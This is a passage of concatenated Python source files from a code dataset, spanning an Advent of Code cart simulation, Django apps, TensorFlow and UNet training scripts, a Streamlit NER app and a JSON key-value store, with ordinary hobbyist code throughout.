carts_object\n\n def remove_carts_from_map(self, carts_object):\n for cart in carts_object:\n self.map[cart.get_position_yx()[0]][cart.get_position_yx()[1]] = \" \"\n\n def build_map(self):\n # return the matrix of the map\n map = []\n for line in self.lines:\n line_list = []\n for i in line:\n line_list.append(i)\n map.append(line_list)\n return map\n\n def get_carts(self):\n \"\"\"\n Give us the carts on a list\n :return: carts[]\n \"\"\"\n return self.carts\n\n def get_map(self):\n \"\"\"\n Give us the map on a matrix\n :return: map[][]\n \"\"\"\n return self.map\n\n\nclass MineCartMadnessManager:\n \"\"\"\n A mine cart madness manager allow us to move carts on the map and find the collision\n \"\"\"\n def __init__(self, carts, map):\n \"\"\"\n\n :param carts: list of carts\n :param map: matrix of map containing turns and intersections\n\n :param collision_position: coordonate of the first collision\n :param last_position: coordonate of the last position of cart\n\n :param collision: True if there was a collision\n :param is_last_cart: True if there was only one cart alive\n \"\"\"\n self.carts = carts\n self.map = map\n self.collision_position = (0, 0)\n self.last_position = (0, 0)\n self.collision = False\n self.is_last_cart = False\n\n def is_collision(self):\n \"\"\"\n Determine if there was a collision between two carts\n :return: True if there was a collision\n \"\"\"\n return self.collision\n\n def there_was_a_collision(self):\n \"\"\"\n The collision between two carts happened\n \"\"\"\n self.collision = True\n\n def the_last_cart_position(self, cart):\n \"\"\"\n The collision between two carts happened\n \"\"\"\n self.last_position = cart.get_position_yx\n\n def get_next_position_cart(self, cart):\n \"\"\"\n Get the next position of the current cart\n :param cart: the cart we want to evaluate\n :return: the next position of the cart\n \"\"\"\n next_position = 0\n curr_direction = cart.get_direction()\n curr_position = cart.get_position_yx()\n if curr_direction == \">\":\n next_position = curr_position[0], curr_position[1] + 1\n elif curr_direction == \"^\":\n next_position = curr_position[0] - 1, curr_position[1]\n elif curr_direction == \"<\":\n next_position = curr_position[0], curr_position[1] - 1\n elif curr_direction == \"v\":\n next_position = curr_position[0] + 1, curr_position[1]\n return next_position\n\n def are_they_on_collision(self, cart):\n \"\"\"\n We know if it will be a collision between the current cart and an other\n :param cart: the current cart\n :return: True if there was a cart with the current cart position\n \"\"\"\n # get the next position of current cart\n #next_position = self.get_next_position_cart(cart)\n current_position = cart.get_position_yx()\n two_cars = 0\n # browse in carts\n for cart in self.carts:\n # if there was a cart here return True\n if current_position == cart.get_position_yx():\n two_cars += 1\n if two_cars == 2:\n self.collision_position = current_position\n return True\n return False\n\n def sort_carts(self):\n \"\"\"\n update the carts order by horizontally then vertically\n \"\"\"\n carts_to_sorted = []\n for cart in self.carts:\n carts_to_sorted.append(tuple((cart.get_position_yx()[0], cart.get_position_yx()[1], cart.get_direction(), cart.get_per_intersection_memory())))\n carts_to_sorted = sorted(carts_to_sorted)\n self.carts = []\n # browse on list of tuple\n for cart in carts_to_sorted:\n # create each cart object\n self.carts.append(Cart(cart[0], cart[1], cart[2], self.map, cart[3]))\n\n def remove_carts_on_collision(self, cart):\n \"\"\"\n Remove the two carts on collision from the list of carts\n :param cart: the cart to test for the collision\n \"\"\"\n #next_position = self.get_next_position_cart(cart)\n current_position = cart.get_position_yx()\n two_cars = 0\n # browse in carts\n for cart in self.carts:\n # if there was a cart here return True\n if current_position == cart.get_position_yx():\n two_cars += 1\n # use the position to the collision to remove carts\n if two_cars == 2:\n carts_alive = []\n for cart in self.carts:\n if cart.get_position_yx() != current_position:\n carts_alive.append(cart)\n self.carts = carts_alive\n\n def run(self):\n # launch the execution of cart on the map only if there was no collision\n while not self.is_last_cart:\n # browse in each carts\n # refresh order\n # sort carts\n self.sort_carts()\n for cart in self.carts:\n cart.move()\n # determine if it will be a collision between the current cart and another\n if self.are_they_on_collision(cart):\n # set the final parameter and leave the loop\n self.there_was_a_collision()\n # remove all carts on collision\n self.remove_carts_on_collision(cart)\n # get the last position\n if len(self.carts) == 1:\n self.last_position = self.carts[0].get_position_yx()\n self.is_last_cart = True\n break\n\n def print_map_with_carts(self, pos_x=(-1, -1)):\n from copy import deepcopy\n map_with_carts = deepcopy(self.map)\n\n for cart in self.carts:\n y, x = cart.get_position_yx()\n map_with_carts[y][x] = cart.get_direction()\n y, x = pos_x\n if y != -1:\n map_with_carts[y][x] = \"X\"\n string_map = \"\"\n for line in map_with_carts:\n string_map += \"\".join(line) + \"\\n\"\n print(string_map)\n\n def visualize(self):\n return self.last_position[1], self.last_position[0]\n\n def print_map(self):\n # print the map using the matrix map\n for index, values in enumerate(self.map):\n print(index, \"\\t\\t\\t\", values)\n\n\ndef data_retrieve(lines):\n # return the new lines traited\n # count nb cart\n return lines\n\n\ndef data_preparation(lines):\n # return the value of input_test\n return lines\n\n\ndef day_13_part_2(lines):\n # data retrieve\n lines = data_retrieve(lines)\n # data preparation\n object_builder = ObjectBuilder(lines)\n # data modelisation\n mine_cart_madness = MineCartMadnessManager(object_builder.get_carts(), object_builder.get_map())\n # data analyse\n mine_cart_madness.run()\n # data visualize\n last_postion = mine_cart_madness.visualize()\n return str(last_postion[0]) + \",\" + str(last_postion[1])\n\n\nclass TestDay13part2(unittest.TestCase):\n\n def test_day_13_part_2(self):\n lines = input_file()\n res = output_file()\n pred = day_13_part_2(lines)\n assert(pred == res)\n\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"2018/Day 13/Part two/TestDay13part2.py","file_name":"TestDay13part2.py","file_ext":"py","file_size_in_byte":13938,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"71242204","text":"from django.contrib import admin\nfrom .models import Project, Event\n\nclass ProjectAdmin(admin.ModelAdmin):\n\tlist_display = [\"name\", \"api_key\", \"api_secret\"]\n\tclass Meta:\n\t\tmodel = Project\n\nclass EventAdmin(admin.ModelAdmin):\n\tlist_display = [\"name\", \"timestamp\", \"token\"]\n\tclass Meta:\n\t\tmodel = Event\n\nadmin.site.register(Project, ProjectAdmin)\nadmin.site.register(Event, EventAdmin)\n# Register your models here.\nfrom django.contrib import admin\n\n# Register your models here.\n","sub_path":"rickypanel/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":476,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"263708357","text":"#!/usr/bin/env python3\n# Copyright (c) 2017 Angel Terrones \n\nimport os\nimport argparse\n\n\nclass Coregen:\n _build_path = './build'\n\n def __init__(self, board):\n parser = argparse.ArgumentParser(description='Core generation.')\n subparser = parser.add_subparsers(title='Sub-commands', description='Available functions',\n help='Description')\n # convert\n p2v = subparser.add_parser('toverilog', help='Translate design to Verilog')\n p2v.set_defaults(func=self.convert_to_verilog)\n # build\n build = subparser.add_parser('build', help='Build bitstream using vendor tools')\n build.set_defaults(func=self.build_project)\n # program\n prog = subparser.add_parser('program', help='Program platform')\n prog.add_argument('--flash', help='Download bitfile to ISF', action='store_true')\n prog.set_defaults(func=self.program)\n\n self.parser = parser\n self.board = board\n\n def run(self):\n args = self.parser.parse_args()\n args.func(args)\n\n def convert_to_verilog(self, args):\n os.makedirs(self._build_path, exist_ok=True)\n self.board.convert(path=self._build_path, trace=False, testbench=False)\n\n def build_project(self, args):\n os.makedirs(self._build_path, exist_ok=True)\n self.board.build(build_path=self._build_path)\n\n def program(self, args):\n prog = self.board.get_programmer()\n bitfile = '{}/{}.bit'.format(self._build_path, self.board.name)\n if args.flash:\n prog.flash(bitfile)\n else:\n prog.load_bitstream(bitfile)\n\n# Local Variables:\n# flycheck-flake8-maximum-line-length: 200\n# flycheck-flake8rc: \".flake8rc\"\n# End:\n","sub_path":"coregen/coregen.py","file_name":"coregen.py","file_ext":"py","file_size_in_byte":1775,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"644216722","text":"#! /usr/bin/env python\n# ______________________________________________________________________\n\nfrom numba.translate import _plat_bits\nfrom numba.decorators import autojit\n\nimport numpy as np\nimport numpy\n\nimport unittest\n\n# ______________________________________________________________________\n\n@autojit(backend='ast')\ndef get_ndarray_ndim(ndarr):\n return ndarr.ndim\n\n@autojit(backend='ast')\ndef get_ndarray_shape(ndarr):\n return ndarr.shape\n\n@autojit(backend='ast')\ndef get_ndarray_data(ndarr):\n return ndarr.data\n\n@autojit(backend='ast')\ndef get_ndarray_2_shape_unpack_0(ndarr):\n dim0, _ = ndarr.shape\n return dim0\n\n@autojit(backend='ast')\ndef get_ndarray_2_shape_unpack_1(ndarr):\n _, dim1 = ndarr.shape\n return dim1\n\n# ______________________________________________________________________\n\nclass TestGetattr(unittest.TestCase):\n def test_getattr_ndim(self):\n result = get_ndarray_ndim(np.empty((2,)))\n self.assertEqual(result, 1)\n result = get_ndarray_ndim(np.empty((2, 2)))\n self.assertEqual(result, 2)\n\n def test_getattr_shape(self):\n a = np.empty((10,))\n result = get_ndarray_shape(a)\n self.assertEqual(result[0], 10)\n\n a = np.empty((10, 20))\n result = get_ndarray_shape(a)\n self.assertEqual(result[0], 10)\n self.assertEqual(result[1], 20)\n\n def test_getattr_shape_unpack(self):\n array = np.empty((1, 2))\n dim0 = get_ndarray_2_shape_unpack_0(array)\n dim1 = get_ndarray_2_shape_unpack_1(array)\n self.assertEqual((dim0, dim1), (1, 2))\n\n def test_getattr_data_1(self):\n test_data = numpy.array([1., 2., 3.])\n data_pointer = get_ndarray_data(test_data)\n self.assertEqual(data_pointer[0], 1.)\n self.assertEqual(data_pointer[1], 2.)\n self.assertEqual(data_pointer[2], 3.)\n\n def test_getattr_data_2(self):\n test_data = numpy.array([[1., 2., 3.], [4., 5., 6.]])\n result = get_ndarray_data(test_data)\n self.assertEqual(result[0], 1.)\n self.assertEqual(result[1], 2.)\n self.assertEqual(result[2], 3.)\n self.assertEqual(result[3], 4.)\n self.assertEqual(result[4], 5.)\n self.assertEqual(result[5], 6.)\n\n# ______________________________________________________________________\n\nif __name__ == \"__main__\":\n# TestGetattr('test_getattr_shape').debug()\n unittest.main()\n\n# ______________________________________________________________________\n# End of test_ast_getattr.py\n","sub_path":"numba/tests/test_ast_getattr.py","file_name":"test_ast_getattr.py","file_ext":"py","file_size_in_byte":2504,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"239296046","text":"import tensorflow as tf\nimport numpy as np\n\nimport input_data\n\nbatch_size = 128\ntest_size = 256\n\ndef init_weights(shape,name):\n return tf.Variable(tf.random_normal(shape, stddev=0.01),name)\n\n\ndef model(X, w, w2, w3, w4, w_o, p_keep_conv, p_keep_hidden):\n l1a = tf.nn.relu(tf.nn.conv2d(X, w, # l1a shape=(?, 28, 28, 32)\n strides=[1, 1, 1, 1], padding='SAME'))\n l1 = tf.nn.max_pool(l1a, ksize=[1, 2, 2, 1], # l1 shape=(?, 14, 14, 32)\n strides=[1, 2, 2, 1], padding='SAME')\n l1 = tf.nn.dropout(l1, p_keep_conv)\n\n l2a = tf.nn.relu(tf.nn.conv2d(l1, w2, # l2a shape=(?, 14, 14, 64)\n strides=[1, 1, 1, 1], padding='SAME'))\n l2 = tf.nn.max_pool(l2a, ksize=[1, 2, 2, 1], # l2 shape=(?, 7, 7, 64)\n strides=[1, 2, 2, 1], padding='SAME')\n l2 = tf.nn.dropout(l2, p_keep_conv)\n\n l3a = tf.nn.relu(tf.nn.conv2d(l2, w3, # l3a shape=(?, 7, 7, 128)\n strides=[1, 1, 1, 1], padding='SAME'))\n l3 = tf.nn.max_pool(l3a, ksize=[1, 2, 2, 1], # l3 shape=(?, 4, 4, 128)\n strides=[1, 2, 2, 1], padding='SAME')\n l3 = tf.reshape(l3, [-1, w4.get_shape().as_list()[0]]) # reshape to (?, 2048)\n l3 = tf.nn.dropout(l3, p_keep_conv)\n\n l4 = tf.nn.relu(tf.matmul(l3, w4))\n l4 = tf.nn.dropout(l4, p_keep_hidden)\n\n pyx = tf.matmul(l4, w_o)\n #print(\"model:\",pyx)\n return pyx\n\nmnist = input_data.read_data_sets(\"MNIST_data/\", one_hot=True)\ntrX, trY, teX, teY = mnist.train.images, mnist.train.labels, mnist.test.images, mnist.test.labels\ntrX = trX.reshape(-1, 28, 28, 1) # 28x28x1 input img\nteX = teX.reshape(-1, 28, 28, 1) # 28x28x1 input img\n\nX = tf.placeholder(\"float\", [None, 28, 28, 1], name='x-input')\nY = tf.placeholder(\"float\", [None, 10], name='y-input')\n\nw2 = init_weights([3, 3, 32, 64],\"w2\") # 3x3x32 conv, 64 outputs\nw = init_weights([3, 3, 1, 32],\"w\") # 3x3x1 conv, 32 outputs\nw3 = init_weights([3, 3, 64, 128],\"w3\") # 3x3x32 conv, 128 outputs\nw4 = init_weights([128 * 4 * 4, 625],\"w4\") # 128 filters * 4*4 image\nw_o = init_weights([625, 10],\"w_o\") # FC 625 inputs, 10 outputs (labels)\n\np_keep_conv = tf.placeholder(\"float\", None,\"p_keep_conv\")\np_keep_hidden = tf.placeholder(\"float\", None,\"p_keep_hidden\")\npy_x = model(X, w, w2, w3, w4, w_o, p_keep_conv, p_keep_hidden)\n\nwith tf.name_scope('cost') as scope:\n cost = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits(py_x, Y))\n cost_summ = tf.scalar_summary(\"cost\", cost)\nwith tf.name_scope('train') as scope:\n train_op = tf.train.RMSPropOptimizer(0.001, 0.9).minimize(cost)\n\npredict_op = tf.argmax(py_x, 1)\n\nw_o_hist = tf.histogram_summary(\"w_o\", w_o)\ny_hist = tf.histogram_summary(\"y-input\", Y)\np_keep_conv_hist = tf.histogram_summary(\"p_keep_conv\", p_keep_conv)\np_keep_hidden_hist = tf.histogram_summary(\"p_keep_hidden\", p_keep_hidden)\n\n\n# Launch the graph in a session\nwith tf.Session() as sess:\n\n tf.initialize_all_variables().run()\n merged = tf.merge_all_summaries()\n writer = tf.train.SummaryWriter(\"./logs/xor_logs\", sess.graph)\n iii=0\n for i in range(3):\n training_batch = zip(range(0, len(trX), batch_size),\n range(batch_size, len(trX), batch_size))\n\n for start, end in training_batch:\n sess.run(train_op, feed_dict={X: trX[start:end], Y: trY[start:end],\n p_keep_conv: 0.8, p_keep_hidden: 0.5})\n if iii % 100 == 0:\n summary = sess.run(merged, feed_dict={X: trX[start:end], Y: trY[start:end],\n p_keep_conv: 0.8, p_keep_hidden: 0.5})\n writer.add_summary(summary, iii/100)\n #print sess.run(cost, feed_dict={X: trX[start:end], Y: trY[start:end],\n # p_keep_conv: 0.8, p_keep_hidden: 0.5})\n iii+=1\n test_indices = np.arange(len(teX)) # Get A Test Batch\n np.random.shuffle(test_indices)\n test_indices = test_indices[0:test_size]\n\n print(i, np.mean(np.argmax(teY[test_indices], axis=1) ==\n sess.run(predict_op, feed_dict={X: teX[test_indices],\n Y: teY[test_indices],\n p_keep_conv: 1.0,\n p_keep_hidden: 1.0})))\n \nprint(\"tensorboard --logdir=/root/test4/Study_TensorFlow/08\\ -\\ CNN --port 6006\")\n","sub_path":"08 - CNN/CNN.py","file_name":"CNN.py","file_ext":"py","file_size_in_byte":4677,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"424551694","text":"#! /usr/bin/python\n\nimport numpy as np\n\nimport matplotlib\nmatplotlib.use(\"Agg\")\n\nimport matplotlib.pyplot as plt\n\nxmin, xmax = -np.pi, np.pi\n\nx = np.arange(xmin, xmax, 0.1)\ny_sin = np.sin(x)\ny_cos = np.cos(x)\n\n# sin plot\nplt.subplot(2, 1, 1)\nplt.plot(x, y_sin)\nplt.title(\"$\\sin x$\")\nplt.xlim(xmin, xmax)\nplt.ylim(-1.3, 1.3)\n\n# cos plot\nplt.subplot(2, 1, 2)\nplt.plot(x, y_cos)\nplt.title(\"$\\cos x$\")\nplt.xlim(xmin, xmax)\nplt.ylim(-1.3, 1.3)\n\n# Avoid to duplicate graphtitle\nplt.tight_layout()\n\nplt.show()\n\nplt.savefig(\"/Users/iwaitoshiya/Desktop/graph.png\")\n","sub_path":"gomi11.py","file_name":"gomi11.py","file_ext":"py","file_size_in_byte":556,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"46553155","text":"import time\nfrom riga_dataset import RIGADataset, CropFundus, Rescale, ToTensor\nimport torch\nimport torch.nn as nn\nimport torch.optim as optim\nimport matplotlib.pyplot as plt\nimport torchvision.transforms as transforms\nfrom torch.utils.data import DataLoader\nfrom unet import UNet\n\n\nRIGA_TRAIN_BASE_PATH = r'./RIGA/train/'\nRIGA_TRAIN_CSV_FILE = r'./RIGA/train/images.csv'\n\nRIGA_TEST_BASE_PATH = r'./RIGA/test/'\nRIGA_TEST_CSV_FILE = r'./RIGA/test/images.csv'\n\nTRAIN_MODEL_PATH = './RIGA_model.pth'\n\n# Parameters\nEPOCHS = 1\nBATCH_SIZE = 4\nTRAIN = False\nN_CLASSES = 2\nLEARNING_RATE = 0.001\nMOMENTUM = 0.9\n\n\ndef print_step_images(input, label, output, predicted=None):\n\n fig = plt.figure()\n plt.tight_layout()\n columns = 4 if predicted is None else 5\n\n cols = ['Raw', 'Mask', 'Class 1', 'Class 2'] if predicted is None else\\\n ['Raw', 'Mask', 'Class 1', 'Class 2', 'Predicted']\n plt.suptitle(cols)\n\n for bs in range(BATCH_SIZE):\n a = input[bs].numpy().transpose(1, 2, 0)\n b = label[bs].numpy()\n c1 = output[bs][0].detach().numpy()\n c2 = output[bs][1].detach().numpy()\n\n fig.add_subplot(BATCH_SIZE, columns,(bs * columns) + 1)\n plt.imshow(a)\n\n fig.add_subplot(BATCH_SIZE, columns, (bs * columns) + 2)\n plt.imshow(b, cmap='gray')\n\n fig.add_subplot(BATCH_SIZE, columns, (bs * columns) + 3)\n plt.imshow(c1, cmap='gray')\n\n fig.add_subplot(BATCH_SIZE, columns, (bs * columns) + 4)\n plt.imshow(c2, cmap='gray')\n\n if predicted is not None:\n d = predicted[bs].detach().numpy()\n fig.add_subplot(BATCH_SIZE, columns, (bs * columns) + 5)\n plt.imshow(d, cmap='gray')\n\n plt.show()\n\n\ndef main():\n transform = transforms.Compose([CropFundus(450, 50),\n Rescale(64),\n ToTensor(),\n ])\n # Load train set\n train_set = RIGADataset(csv_file=RIGA_TRAIN_CSV_FILE, root_dir=RIGA_TRAIN_BASE_PATH, transform=transform)\n train_loader = DataLoader(train_set, batch_size=BATCH_SIZE)\n\n test_set = RIGADataset(csv_file=RIGA_TEST_CSV_FILE, root_dir=RIGA_TEST_BASE_PATH, transform=transform)\n test_loader = DataLoader(test_set, batch_size=BATCH_SIZE)\n\n model = UNet(n_class=N_CLASSES)\n\n criterion = nn.CrossEntropyLoss()\n optimizer = optim.SGD(model.parameters(), lr=LEARNING_RATE, momentum=MOMENTUM)\n\n if TRAIN:\n t0 = time.time()\n for epoch in range(EPOCHS):\n\n running_loss = 0.0\n for i, data in enumerate(train_loader, 0):\n inputs, labels = data['raw'], data['mask']\n\n optimizer.zero_grad()\n outputs = model(inputs)\n\n loss = criterion(outputs, labels)\n loss.backward()\n\n optimizer.step()\n running_loss += loss.item()\n\n print('[%d, %3d] loss: %.3f' % (epoch, i + 1, running_loss))\n running_loss = 0.0\n\n if i == 10: print_step_images(inputs, labels, outputs)\n\n print('Finished Training: Elapsed time: %.3f secs' % (time.time() - t0))\n torch.save(model.state_dict(), TRAIN_MODEL_PATH)\n\n else:\n # Load the trained model\n model.load_state_dict(torch.load(TRAIN_MODEL_PATH))\n\n correct = 0\n total = 0\n index = 0\n with torch.no_grad():\n for data in test_loader:\n print('[%d] ' % index)\n inputs, labels = data['raw'], data['mask']\n # Test on test data\n outputs = model(inputs)\n\n _, predicted = torch.max(outputs.data, 1)\n\n total += labels.size(0)\n correct += (predicted == labels).sum().item()\n index += 1\n\n print('Accuracy of the network on the 10000 test images: %d %%' % (100 * correct / total))\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"run_unet.py","file_name":"run_unet.py","file_ext":"py","file_size_in_byte":3962,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"269885558","text":"from django.template.defaultfilters import slugify\nfrom django.shortcuts import render, redirect\nfrom django.contrib.auth.decorators import login_required\nfrom django.http import Http404\nfrom collection.models import Thing\nfrom collection.forms import ThingForm\n\n# Create your views here.\n\ndef index(request):\n\t# the rewritten views\n\tthings = Thing.objects.all()\n\t# just getting one object!\n\t# correct_thing = Thing.objects.get(name=\"Hello\")\n\tcontext = {\n\t\t\t\"things\": things,\n\t}\n\n\treturn render(request, 'index.html', context)\n\n\n\ndef thing_detail(request, slug):\n\t# grab the objec\n\tthing = Thing.objects.get(slug=slug)\n\tcontext = {\"thing\": thing}\n\t# and pass to the template\n\treturn render(request, 'things/thing_detail.html', context)\n\n\n@login_required\ndef edit_thing(request, slug):\n\t# grab the object\n\tthing = Thing.objects.get(slug=slug)\n\t# make sure the logged in user is the owner of the thing\n\tif thing.user != request.user:\n\t\traise Http404\n\t# set the form we're using\n\tform_class = ThingForm\n\t# if we're coming to this view from a submitted form\n\tif request.method == \"POST\":\n\t\t# grab the data from the submitted form and apply to\n\t\t# the form\n\t\tform = form_class(data=instance.POST, instance=thing)\n\t\tif form.is_valid():\n\t\t\t# save the new data\n\t\t\tform.save()\n\t\t\treturn redirect('thing.detail', slug=thing.slug)\n\t\t# otherwise just create the form\n\telse:\n\t\tform = form_class(instance=thing)\n\n\t# and render the template\n\treturn render(request, 'things/edit_thing.html', {\"thing\": thing, \"form\": form})\n\n\n\n\ndef create_thing(request):\n\tuser = request.user\n\tform_class = ThingForm\n\t# if we're comng from a submitted form, do this\n\tif request.method == \"POST\":\n\t\t# grab the data from the submitted form and \n\t\t# apply to the form\n\t\tform = form_class(request.POST)\n\t\tif form.is_valid():\n\t\t\tname = form.cleaned_data['name']\n\t\t\tdescription = form.cleaned_data['description']\n\t\t\t# create the slug from our name\n\t\t\tslug = slugify(name)\n\n\t\t\t# create out object\n\t\t\tthing = Thing.objects.create(\n\t\t\t\tname=name,\n\t\t\t\tdescription=description,\n\t\t\t\tslug=slug,\n\t\t\t\tuser=user,\n\t\t\t)\n\n\t\t\t# redirect to our newly created thing\n\t\t\treturn redirect('thing_detail', slug=thing.slug)\n\n\t\t\t# otherwise just create the form\n\telse:\n\t\tform = form_class()\n\n\treturn render(request, 'things/create_thing.html', {\"form\": form,})\n\n\n\n\ndef browse_by_name(request, initial= None):\n\tif initial:\n\t\tthings = Thing.objects.filter(name__istartswith=initial).order_by('name')\n\telse:\n\t\tthings = Thing.objects.all().order_by('name')\n\treturn render(request, 'search/search.html', {\"things\": things,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\"initial\": initial})\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"collection/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2631,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"600502435","text":"#! /usr/bin/python3\nfrom os.path import exists\nfrom sys import exit\nfrom os import system\nfrom runcmd3 import runcmd, waitall\n\nnumnoise = 50\nbeta_end = 8\nbeta_start = 0\ngamma_end = 10\ngamma_start = 0\ngamma_val = [0,0.001,0.002,0.004,0.008,0.016,0.032,0.064,0.128, 0.256, 0.512]\nbeta_val = [0,0.0001,0.0002,0.0004,0.0008,0.0016,0.0032,0.0064,0.0128]\n#beta_val = [2.56, 5.12, 10.24, 20.48, 40.96, 81.92, 163.84, 327.68, 655.36]\nfor beta_i in range(beta_start, beta_end + 1):\n for gamma_i in range(gamma_start, gamma_end + 1):\n for n in range(1, numnoise + 1):\n beta = beta_val[beta_i];\n gamma= gamma_val[gamma_i];\n python_cmd = \"eval_seg_3D_cluster_v1.py %1.4f %1.3f %d\" % (beta, gamma, n)\n log_filename = 'log_files/run_eval_seg_%1.4f_%1.3f_%d.log' % (beta, gamma, n)\n cmd = \"python3 %s >& %s\" % (python_cmd, log_filename)\n print(cmd)\n #exit(1)\n runcmd(cmd, waittime = 5, maxruns = 40)\nwaitall(waittime=1)\n","sub_path":"eval_seg_py_FCM/run_seg_eval_3D.py","file_name":"run_seg_eval_3D.py","file_ext":"py","file_size_in_byte":1006,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"332612678","text":"#importing packages\r\nimport streamlit as st\r\nimport wikipedia as wiki\r\nimport spacy \r\nfrom spacy import displacy\r\n\r\n#creating object to perform NLP\r\nner_Obj = spacy.load(\"en_core_web_sm\")\r\n\r\n\r\ndef app():\r\n st.title(\"Named Entity Recognition on Wikipedia pages\")\r\n searchtitle = st.text_input(\" Enter the topic you want to search on wikipedia\")\r\n if st.button(\"Analyze\"):\r\n #collecting datafrom wikipedia\r\n datasearch = wiki.page(searchtitle).content\r\n \r\n #performing NER on data\r\n data = ner_Obj(datasearch)\r\n \r\n #Storing the final output (i.e, data along with NER tags with HTML and css for beautification\r\n html = displacy.render(data,style='ent')\r\n \r\n #displaying the results on the app\r\n st.markdown(html,unsafe_allow_html=True)\r\n\r\n \r\n#main function\r\nif __name__==\"__main__\":\r\n app()\r\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":885,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"583110077","text":"import json\r\nimport os\r\nimport sys\r\nimport time\r\nimport threading\r\nclass datastore:\r\n\r\n def __init__(self, filepath=os.getcwd()):\r\n\r\n self.file_path = filepath + '/key_value.json'\r\n self.file_lock = threading.Lock()\r\n self.data_lock = threading.Lock()\r\n\r\n try:\r\n file = open(self.file_path, 'r')\r\n filedata = json.load(file)\r\n self.data = filedata\r\n file.close()\r\n\r\n if not self.file_size_check():\r\n raise Exception('Size of the data store exceeded 1 GB.')\r\n\r\n print('file is created in this location' + self.file_path)\r\n except:\r\n\r\n file = open(self.file_path, 'w')\r\n self.data = {}\r\n self.ttldict = {}\r\n file.close()\r\n print('file is created in this location ' + self.file_path)\r\n\r\n#Method file_size_check that checks the size of file.Returns wheather the file is greater than 1GB or not.\r\n def file_size_check(self):\r\n self.file_lock.acquire()\r\n if os.path.getsize(self.file_path) <= 1e+9:\r\n self.file_lock.release()\r\n return True\r\n else:\r\n self.file_lock.release()\r\n return False\r\n#Method key_check that checks wheather given constrain are matched for the key.\r\n def key_check(self, key):\r\n if type(key) == type(\"\"):\r\n if len(key) > 32:\r\n raise Exception('Key size is capped at 32char. The given key length is ' + str(len(key)))\r\n else:\r\n return True\r\n else:\r\n raise Exception('Key value is not a string. The give type is: ' + str(type(key)))\r\n\r\n# Method create that adds a new key-value pair to the data store\r\n def create(self, key='', value='', ttl=None):\r\n self.key_check(key)\r\n\r\n if key == '':\r\n raise Exception('No key was provided.')\r\n\r\n if value == '':\r\n value = None\r\n\r\n if sys.getsizeof(value) > 16384:\r\n raise Exception(\"value exceeded 16KB size limit.\")\r\n\r\n if not self.file_size_check():\r\n raise Exception('Size of the data store exceeds 1 GB.')\r\n self.data_lock.acquire()\r\n\r\n if key in self.data.keys():\r\n self.data_lock.release()\r\n raise Exception('Key is already present.')\r\n\r\n if ttl is not None:\r\n ttl = int(time.time()) + abs(int(ttl))\r\n\r\n tempdict = {'value': value, 'ttl': ttl}\r\n self.data[key] = tempdict\r\n self.file_lock.acquire()\r\n json.dump(self.data, fp=open(self.file_path, 'w'), indent=2)\r\n self.file_lock.release()\r\n self.data_lock.release()\r\n print('Key added to the file')\r\n\r\n# Method read that allows to retrive value by providing a key\r\n def read(self, key=''):\r\n\r\n self.key_check(key)\r\n if key == '':\r\n raise Exception('Expecting a key to be read.')\r\n\r\n self.data_lock.acquire()\r\n\r\n if key in self.data.keys():\r\n pass\r\n else:\r\n self.data_lock.release()\r\n raise Exception('Key not found in database')\r\n\r\n ttl = self.data[key]['ttl']\r\n\r\n if not ttl:\r\n ttl = 0\r\n\r\n if (time.time() < ttl) or (ttl == 0):\r\n self.data_lock.release()\r\n return json.dumps(self.data[key]['value'])\r\n else:\r\n self.data_lock.release()\r\n raise Exception(\"Key's TTL has expired.\")\r\n\r\n# Method delete that deletes key-value pair by providing a key\r\n def delete(self, key=''):\r\n self.key_check(key)\r\n\r\n if key == '':\r\n raise Exception('Expecting a key to be read.')\r\n\r\n self.data_lock.acquire()\r\n\r\n if key in self.data.keys():\r\n pass\r\n else:\r\n self.data_lock.release()\r\n raise Exception('Key not found in database.')\r\n\r\n ttl = self.data[key]['ttl']\r\n\r\n if not ttl:\r\n ttl = 0\r\n#This snippet checks for ttl is expired or not.\r\n if time.time() < ttl or (ttl == 0):\r\n self.data.pop(key)\r\n self.file_lock.acquire()\r\n file = open(self.file_path, 'w')\r\n json.dump(self.data, file)\r\n self.file_lock.release()\r\n self.data_lock.release()\r\n print(\"pair deleted\")\r\n return\r\n else:\r\n self.data_lock.release()\r\n raise Exception(\"Key's TTL has expired.\")\r\n","sub_path":"datastore.py","file_name":"datastore.py","file_ext":"py","file_size_in_byte":4452,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"409024267","text":"# Copyright 2019 Marc Mosko\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport array\nimport unittest\n\nimport ccnpy\nimport ccnpy.flic\n\n\nclass test_Pointers(unittest.TestCase):\n def test_serialize(self):\n h1 = ccnpy.HashValue(1, array.array('B', [1, 